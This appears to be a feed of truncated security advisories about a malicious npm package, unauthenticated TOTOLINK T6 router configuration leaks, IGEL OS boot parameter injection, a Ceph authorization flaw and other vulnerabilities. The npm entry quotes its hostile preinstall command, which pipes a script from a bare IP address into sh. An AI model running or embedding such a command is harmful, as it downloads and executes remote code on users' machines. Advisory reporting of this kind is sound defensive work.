MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

CVE-2026-82017 IGEL OS 12 / 11 Boot Registry Parameter Injection via Unsigned Configuration Area

IGEL OS 12 before 12.7.6 and IGEL OS 11 before 11.11.150 contain a boot registry parameter injection vulnerability that allows attackers with physical access to execute arbitrary Linux loader parameters by writing to an unencrypted and unsigned configuration area read by the signed bootloader...

CVE-2026-51633

Incorrect access control in the getWiFiEasyGuestCfg function of TOTOLINK T6 4.1.5cu.748B20211015 allows unauthenticated attackers to obtain simplified guest Wi-Fi configuration, including guest credentials, via sending a crafted POST request to /cgi-bin/cstecgi.cgi...

SUSE-SU-2026:3862-1 Security update for python

This update for python fixes the following issues: - CVE-2026-0864: improper handling of line-ending characters can lead to configuration file injection when the configparser module is used bsc1269066. - CVE-2026-1703: files may be extracted outside the installation directory when installing and...

Vulnerabilities in Wibu-Systems’ CodeMeter Runtime

Wibu-Systems has addressed several vulnerabilities in CodeMeter Runtime. These vulnerabilities are located in various components of CodeMeter Runtime, particularly in versions 8.41a and 9.10. A local attacker can exploit incorrect verification of NTFS reparse points when creating temporary files...

CVE-2026-82251

gitoxide before 0.52.1 fails to validate submodule names read from the .gitmodules configuration, enabling a path traversal vulnerability when deriving submodule git directories. An attacker can craft malicious submodule names containing traversal segments to redirect state() and open() calls to ...

CVE-2026-80648 pinctrl: spacemit: fix NULL check in spacemit_pin_set_config

In the Linux kernel, the following vulnerability has been resolved: pinctrl: spacemit: fix NULL check in spacemitpinsetconfig spacemitpinsetconfig looks up the per-pin descriptor with spacemitgetpin then checks the wrong variable for failure: const struct spacemitpin spin = spacemitgetpinpctrl,...

EUVD-2026-67357

A Stored Cross-Site Scripting XSS vulnerability in WatchGuard Dimension's Trusted CA certificate configuration allows an authenticated administrator to execute arbitrary JavaScript in another authenticated administrator's web browser by saving a carefully crafted certificate...

CVE-2026-50152

Ceph is an open-source distributed storage platform providing object, block, and file storage. In versions prior to 20.2.4 and 19.2.6, the Monitor subscription handler fails to properly authorize access to the configuration-key store, allowing any CephX user with only mon allow r capabilities to...

PT-2026-82906

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An issue exists in the Linux kernel's DRM XE driver when the CONFIG DRM XE USERPTR INVAL INJECT configuration is enabled. The function xe pt svm userptr pre commit executes vma check...

CVE-2026-51641

Incorrect access control in the getWiFiMeshConfig function of TOTOLINK T6 4.1.5cu.748B20211015 allows unauthenticated attackers to obtain mesh configuration and runtime state information via sending a crafted POST request to /cgi-bin/cstecgi.cgi...

PT-2026-83186

Incorrect access control in the getInitCfg function of TOTOLINK T6 4.1.5cu.748 B20211015 allows unauthenticated attackers to obtain sensitive device configuration information via sending a crafted POST request to /cgi-bin/cstecgi.cgi...

CVE-2026-51649

The TOTOLINK T6 router running firmware version 4.1.5cu.748_B20211015 is vulnerable to an incorrect access control flaw in the getDiagnosisCfg function. This vulnerability allows unauthenticated attackers to obtain sensitive diagnostic configuration and ping log contents by sending a crafted POST...

CVE-2026-51657

The TOTOLINK T6 (version 4.1.5cu.748_B20211015 ) is vulnerable to an incorrect access control flaw within the getSyslogCfg function. This vulnerability allows unauthenticated attackers to obtain sensitive syslog-related configuration details by sending a crafted POST request to the /cgi-bin/cstec...

EUVD-2026-67877

Incorrect access control in the getSyslogCfg function of TOTOLINK T6 4.1.5cu.748B20211015 allows unauthenticated attackers to obtain syslog-related configuration via sending a crafted POST request to /cgi-bin/cstecgi.cgi...

PT-2026-82948

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An issue exists in the spacemit pin set config function where the code performs a NULL check on the wrong variable. The function uses spacemit get pin to retrieve a per-pin descriptor bu...

CVE-2026-80648: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: pinctrl: spacemit: fix NULL check in spacemitpinsetconfig spacemitpinsetconfig looks up the per-pin descriptor with spacemitgetpin then checks the wrong variable for failure: const struct spacemitpin spin = spacemitgetpinpctrl,...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: selinux-policy (UTSA-2025-002272)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2025-002272 advisory. An issue was discovered in the selinux-policy aka Reference Policy package 3.14 through 2020-08-24 because the .config/Yubico directory is mishandled. Consequently,...

CVE-2026-61802: Exposure of Sensitive Information to an Unauthorized Actor

Wazuh is an open-source security platform providing unified XDR and SIEM protection for endpoints and cloud workloads. In versions 4.14.0 through 4.14.6, a low-privilege API user can read the cleartext cluster key from a configuration endpoint that fails to redact it. The REST API provides a...

PT-2026-83218

Name of the Vulnerable Software and Affected Versions TOTOLINK T6 version 4.1.5cu.748 B20211015 Description Incorrect access control in the getStorageCfg function allows unauthenticated attackers to obtain storage feature state information. This is achieved by sending a crafted POST request to th...